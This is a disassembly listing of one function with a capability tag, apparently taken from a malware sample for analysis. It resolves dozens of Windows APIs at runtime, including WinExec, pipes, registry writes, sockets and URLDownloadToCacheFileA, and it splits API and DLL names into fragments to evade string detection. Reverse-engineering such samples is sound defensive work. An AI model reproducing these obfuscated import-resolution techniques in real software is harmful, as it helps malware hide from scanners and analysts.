Function at 0x100018ef
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.TextOutA
push str.GDI32
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebx, str.ole32
push str.CoInitialize
push ebx
mov dword [0x100261e4], eax
call esi
push eax
call edi
push str.CoUninitialize
push ebx
mov dword [0x10027618], eax
call esi
push eax
call edi
push str.CoCreateInstance
push ebx
mov dword [0x10026948], eax
call esi
push eax
call edi
push str.GetForegroundWindow
push str.user32
mov dword [0x10026978], eax
call esi
push eax
call edi
mov dword [0x100275fc], eax
xor ebp, ebp
push 0x14
lea eax, [esp + 0x14]
push ebp
push eax
call fcn.100118e0
push str.rnel3
lea eax, [esp + 0x20]
push str.ke_s2
push eax
call fcn.10011f5b
add esp, 0x18
lea eax, [esp + 0x10]
push str.RemoveDirectoryA
push eax
call esi
push eax
call edi
mov ebx, str.kernel32
push str.VirtualProtectEx
push ebx
mov dword [0x10027608], eax
call esi
push eax
call edi
push str.WriteFile
push ebx
mov dword [0x10026c38], eax
call esi
push eax
call edi
push str.GetFileSize
push ebx
mov dword [0x100262f8], eax
call esi
push eax
call edi
push str.GetShortPathNameA
push ebx
mov dword [0x10028878], eax
call esi
push eax
call edi
push str.GetTempPathA
push ebx
mov dword [0x10027624], eax
call esi
push eax
call edi
push str.CloseHandle
push ebx
mov dword [0x100270bc], eax
call esi
push eax
call edi
push str.Sleep
push ebx
mov dword [0x10027688], eax
call esi
push eax
call edi
push str.CreateThread
push ebx
mov dword [0x10025dd4], eax
call esi
push eax
call edi
push str.CreateMutexA
push ebx
mov dword [0x10025f34], eax
call esi
push eax
call edi
push str.TerminateProcess
push ebx
mov dword [0x10027610], eax
call esi
push eax
call edi
push str.WaitForMultipleObjects
push ebx
mov dword [0x10026dd4], eax
call esi
push eax
call edi
push str.GetStartupInfoA
push ebx
mov dword [0x10025d8c], eax
call esi
push eax
call edi
push str.CreatePipe
push ebx
mov dword [0x10027620], eax
call esi
push eax
call edi
push str.WinExec
push ebx
mov dword [0x10026310], eax
call esi
push eax
call edi
push str.CopyFileA
push ebx
mov dword [0x10025d54], eax
call esi
push eax
call edi
push str.CreateFileA
push ebx
mov dword [0x1002886c], eax
call esi
push eax
call edi
push str.SetFileAttributesA
push ebx
mov dword [0x10026b14], eax
call esi
push eax
call edi
push str.GetFileAttributesA
mov dword [0x100261e0], eax
push ebx
call esi
push eax
call edi
push str.WideCharToMultiByte
push ebx
mov dword [0x10026970], eax
call esi
push eax
call edi
mov ebx, str.advapi32
push str.RegCreateKeyA
push ebx
mov dword [0x10025f30], eax
call esi
push eax
call edi
push str.RegSetValueExA
push ebx
mov dword [0x1002761c], eax
call esi
push eax
call edi
push str.RegCloseKey
push ebx
mov dword [0x10026620], eax
call esi
push eax
call edi
push str.RegQueryValueExA
push ebx
mov dword [0x1002832c], eax
call esi
push eax
call edi
push str.RegOpenKeyA
push ebx
mov dword [0x1002887c], eax
call esi
push eax
call edi
mov ebx, str.ws2_32
push str.WSAStartup
push ebx
mov dword [0x10026cb8], eax
call esi
push eax
call edi
push str.setsockopt
push ebx
mov dword [0x10026624], eax
call esi
push eax
call edi
push str.closesocket
push ebx
mov dword [0x10027614], eax
call esi
push eax
call edi
mov dword [0x10026b10], eax
push 0x14
lea eax, [esp + 0x14]
push ebp
push eax
call fcn.100118e0
push 0x100212d8
lea eax, [esp + 0x20]
push str.s_sd
push eax
call fcn.10011f5b
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push ebx
call esi
push eax
call edi
mov dword [0x10026974], eax
push 0x14
push ebp
lea eax, [esp + 0x18]
push eax
call fcn.100118e0
push 0x100212cc
lea eax, [esp + 0x20]
push str.r_sv
push eax
call fcn.10011f5b
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push ebx
call esi
push eax
call edi
push str.gethostname
push ebx
mov dword [0x10025dcc], eax
call esi
push eax
call edi
mov dword [0x10025dd0], eax
push 0x14
lea eax, [esp + 0x14]
push ebp
push eax
call fcn.100118e0
push 0x100212b4
lea eax, [esp + 0x20]
push str.con_sct
push eax
call fcn.10011f5b
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push ebx
call esi
push eax
call edi
push str.socket
push ebx
mov dword [0x10028328], eax
call esi
push eax
call edi
push str.inet_addr
push ebx
mov dword [0x10025d50], eax
call esi
push eax
call edi
push str.htons
push ebx
mov dword [0x1002899c], eax
call esi
push eax
call edi
push str.inet_ntoa
push ebx
mov dword [0x10027600], eax
call esi
push eax
call edi
mov dword [0x1002630c], eax
push 0x14
lea eax, [esp + 0x14]
push ebp
push eax
call fcn.100118e0
push str.ostby
lea eax, [esp + 0x20]
push str.geth_sname
push eax
call fcn.10011f5b
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push ebx
call esi
push eax
call edi
mov dword [0x100271c4], eax
push str.URLDownloadToCacheFileA
push str.urlmon
call esi
push eax
call edi
pop edi
pop esi
pop ebp
mov dword [0x10028870], eax
pop ebx
add esp, 0x14
ret